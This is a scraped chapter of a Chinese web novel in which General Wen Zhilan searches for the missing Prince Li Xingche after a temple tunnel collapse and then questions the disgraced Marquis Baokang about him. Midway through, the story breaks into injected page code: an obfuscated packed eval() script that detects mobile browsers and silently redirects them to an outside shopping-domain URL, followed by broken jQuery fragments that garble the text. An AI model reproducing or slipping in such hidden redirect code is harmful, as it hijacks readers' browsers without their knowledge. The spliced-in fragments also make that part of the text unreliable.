44. 李行彻死了
    大宗的军队很快赶到,但是满寺庙的叛军就像是凭空消失一般,一夜之间,了无踪影。

    为此,李赢辞发了大火,责令无比找到叛军,格杀勿论。

    下人抬着李素怀的尸体从废墟中走出来的时候,李赢辞只是淡淡瞥了眼,便下令去埋葬了。

    温之蓝得了空,李赢辞去商讨灵缨寺的修缮事宜了,她松了口气,重新去找李行彻。

    她怎么也想不到,李行彻会不见。

    地道里面塌陷的地方很多,整整两个时辰也没能挖开,所以温之蓝走过去要挖开地道的时候,所有人都惊呆了。

    “地道里面有什么重要的东西吗?”

    “说来也怪,这灵缨寺地下怎么会有这么大的地道?”有人嘀咕着。

    温之蓝错开众人,往里面走,就看见几个僧人在低头祈福,嘴里不知道在念些什么。

    而站在僧人之中的正是主持渊海。

    “温将军,您怎么亲自来了?”渊海上前和她搭话。

    温之蓝皱眉,“您是渊海大师?”

    不对,这不对劲,渊海怎么会在这里?她在地道里遇到的那个人是谁?

    “温将军,您这是何意?贫僧就在此处,难道还有其他的?”渊海脸上的褶子深深显露,他憨笑着,却令人倍感不适。

    温之蓝盯着渊海手里的珠串,是灵缨寺里住持才有的佛珠,地道里的“渊海”有这个吗?

    温之蓝突然想起空闻,“这灵缨寺是否有两位渊海大师?”

    听见这话,渊海脸上青一阵红一阵,才说:“温将军这话是……”

    “渊海大师有一位孪生兄长,是咱们寺庙的叛徒,是个只知道酒肉的狂放之徒。”

    渊海横了一眼那个说话的小僧人,“慎言,这话不能乱说,这都是前尘往事,我已昄依佛门,空闻他……有自己的打算。”

    温之蓝这才明白,一直以来遇到的空闻确实是有这么个人。

    只是在这寺庙里,似乎是不可提及的人。

    “兴许我遇到的正是那位大师。”温之蓝说了这么一句,便不再管。

    她走过跪在地上低声诵经的僧人,瞥了眼地上的尸体,并说了句:“看来伤亡惨重,节哀。”

    与她无关的人,她并不关心,这件事情明面上只是一场大火,实际上还是有叛军。

    这几年大宗天灾人祸不断,李主天下已经百年,但是如今却是风摇雨拽。

    大厦将倾,没有人是安全的,而死亡是再正常不过的。

    只是她走到地道旁边时,恰好看见一位刚刚做完诵经的僧人离开,她的视线落在地上,地道已经完全塌陷,什么都看不见。

    甚至连地道的位置都看不清。

    她走了一圈,没看见李行彻。

    经过几个侍女的时候,听见窃窃私语:“我刚刚走过去,他连理都不理我!看他那眼神像是要吃人!”

    “别说了别说了,怪吓人的,要是逍遥王真的……”

    温之蓝视线前移,见到远远站在废墟旁边的子南,男人身形寂寥,她从没见过子南这副模样。

    “你家主子呢?”温之蓝淡然地问,她还想找李行彻说说渊海的事情呢。

    “你干什么呢,站在这里,等李行彻?”温之蓝又问了句。

    她刚察觉到子南不对劲,却已经迟了。

    子南一脸悲愤地望着她,强忍着怒气,“你不知道?”

    温之蓝皱眉,“什么?我应该知道什么?”

    她那时候一个人去找李赢辞,出来之后却不再看见李行彻,那男人自己不会出来?

    “公子没有出来,尸骨还没找到,我们活要见人死要见尸。”子南垂头低语,声音闷闷的,透着一股悲痛,脚边猛然砸下来几滴泪水。

    温之蓝一顿,加重了语气:“你说什么?”

    这废墟已经看不出地道的形状,塌陷的地方被碎石砖瓦覆盖,地下的人已经没有活命的可能。

    温之蓝脚步踉跄着转身,就看见李赢辞站在不远处,大概是听见了刚才的对话。

    “陛下。”温之蓝语气僵硬,不难听出她的痛苦,即便是见惯了生死,她也难以忍住这样的事实。

    “阿彻和阿姐一起走了,只留朕一个人在这世上活命。”李赢辞声音听不出喜怒,似乎想按安抚子南,他说:“你是阿彻的部下吧,今后就跟着朕吧,不会亏待你的。”

    子南跪地行礼,“谢陛下,但是臣一心只有旧主,公子一天找不到,臣一天难安。”

    说完不等温之蓝开口,他只身走了。

    温之蓝摇摇头,她确定李行彻不会死。

    虽说不知道李行彻作什么幺蛾子,但是最近的事情实在是不对劲,那样深谋远虑的老狐狸,会这样轻易地死了?

    她加快了步伐,向李赢辞请示回府。

    一路上,她都异常沉默,听绿不敢说话,静静地跟在她身后。

    下山的路可以看见漫长的烛火,是大宗的军队,还是黎民百姓,被找来修缮寺庙。

    这件事情没有传出去,就连朝堂上也没有人提及,只是无声无息地少了两个人。

    李素怀的尸身葬在皇陵中,金枝玉叶的长公主的下葬有些草率,可以说是匆匆下葬在了偏离燕京的一个陵寝。

    而李行彻,至今未找到。

    正是因为李行彻的尸身一直没找到,温之蓝才认定李行彻没死。

    这不过是李行彻的计谋而已。

    她在脑海里不断回忆在地道里的事情,李行彻说了什么,又做了什么。

    李行彻那时郑重地问她是不是一定要去,难道是预料到了地道会塌陷?

    温之蓝自认为并不了解李行彻,她并不能马上理解李行彻地用意。

    短短几天,李赢辞就已经回收了所有朝堂的权力,李行彻的党羽和势力都被铲除一空。

    而因为她只身去救驾,似乎打消了李赢辞的怀疑,她成了当场大将军。

    那日天气晴朗,她去练武场时,恰好看见宝康侯一家。

    宝康侯被冠以莫须有的罪名,一家子被发配清灵山守灵,而走在最后面的是他的小女儿。

    一向要风得风的宝康侯一夜之间头发全白了,苍老的面庞阴沉灰暗,他看见温之蓝,怔愣了好一会儿。

    “温将军,是温大将军!我们有救了!”

    宝康侯这人一向是实心眼,眼底只有浅薄的利益,尽管知道李行彻是个毒蛇,还是为了那点利益一只跟着。

    昨日他正熟睡在房中,被禁军破门而入,连皇帝的连都没见到,就被一家发往清灵山。

    他正一腔哀怨没处使呢。

    “有什么事?”温之蓝走过去,几个侍卫立刻恭恭敬敬地低头。

    “您救救我们吧,实在不行,留我小女一命也好!”宝康侯老泪纵横,“我家小女才十七,她还没有许配人家,您帮帮我……”

    说来可惜,徐惠君要是早点嫁出去,不那么一门心思地等李行彻,估计如今能逃过一劫。

    徐惠君灰暗的眸子连看也不敢看温之蓝。

    “我无能为力。”温之蓝当然不救,她转身就准备走。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115165|143052||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “别!温大将军!我我我、我有重要消息,关于王爷的!”

    远处,已经准备上马车的温之蓝停下来,她迟疑地转头,再次确定宝康侯说的“王爷”是谁。

    “你说什么?”

    一刻钟后,一家茶馆里,宝康侯紧张兮兮地搓着手,局促不安地看着面无表情的温之蓝。

    他当年本来就是一个三品文官,是李行彻一路提拔,成了朝中重臣,但是骨子里还是一个贪小便宜的平民百姓罢了。

    李行彻没了,他头顶的天也塌了,李赢辞早就看他不顺眼,朝中又时有纷争,这不,他就成了第一个被开枪的人。

    宝康侯眼神躲闪,支支吾吾也不知道在说什么。

    “王爷前些日子要我去给城东一个农户家里送慰问品,我问他什么原因,他说你会知道……”

    温之蓝拧眉说:“还有细节吗?”

    宝康侯犹犹豫豫,却是摇了摇头,“将军答应照顾好我的小女,和陛下说保我离开燕京,我就说。”

    温之蓝扯出一声笑,“就算我不答应,也有的是办法让你开口,你说我上请陛下要斩你的头,有没有可能?”

    宝康侯脸色一白,他手指颤动起来,眼神也变得有些狰狞,他对着冷漠坐着的温之蓝低声说:“将军,你真的不想知道李行彻的事情?”

    “敢直呼皇亲国戚的名讳,你不想活了?”

    宝康侯嗤笑一声,全面不在意,“一个已死之人,我怕什么?我怕的是我的女儿会被充当军妓,会被无耻下流之徒侮辱!”

    温之蓝见过太多这种场面,见过太多人的悲痛和疯狂,她岿然不动,缓缓抬头,“你先坐下来。”

    “温之蓝,你到底答不答应我,我、我……你就不觉得城东的事情和这有关联?”

    宝康侯好歹是个老狐狸,也是被逼无奈了,才会出言威胁温之蓝,他知道自己如今是树倒猢狲散,连一个女儿也护不住。

    “覆巢之下,安有完卵,你这些年的所作所为也不完全是李行彻所致。”温之蓝端起桌上的茶喝了一口。

    “温将军,我自知罪不可恕,如今这结局也是我咎由自取,事已至此,我都说了。”宝康侯看出威胁不了温之蓝,他恶狠狠地咬牙,没想到温之蓝的心机如此深沉。

    果不其然是李行彻看上的女人,和李行彻不相上下,压根不为所动。

    他怎么会知道温之蓝和李行彻最大的区别,李行彻每一步都是精打细算的,从来不做没有打算之事。

    但是温之蓝不一样,她单纯是不关心。

    “李行彻曾经和我说,你是个有理想抱负的女子,和他从前认识的都不一样……”

    似乎是想要说两句情谊话,宝康侯开始彻李行彻。

    “呵。”温之蓝讥讽一笑,没忍住笑了出来。

    宝康侯说的她一个字都不信。

    温之蓝在脑海里回想了一下李行彻那厮的模样,回想他的语气,会说出这样的话?

    宝康侯脸上猛然一红,被戳穿的样子很是难堪。

    “这,李行彻一直命人在调查城东的案件,这是真的!即便他一直漠不关心,不问朝政,但是他一直很关心!”

    “他……我想起来了,三年前!三年前他从边关回来的时候丢掉了半条命,他险些死在那个时候,并且他一直有往返青宁和燕京两地。”

    “我只知道这么多……”宝康侯颓败地坐下来。

    但是坐在他对面的温之蓝已经放下了茶杯,面色郑重,语气是前所未有的轻柔。

    “我答应你。”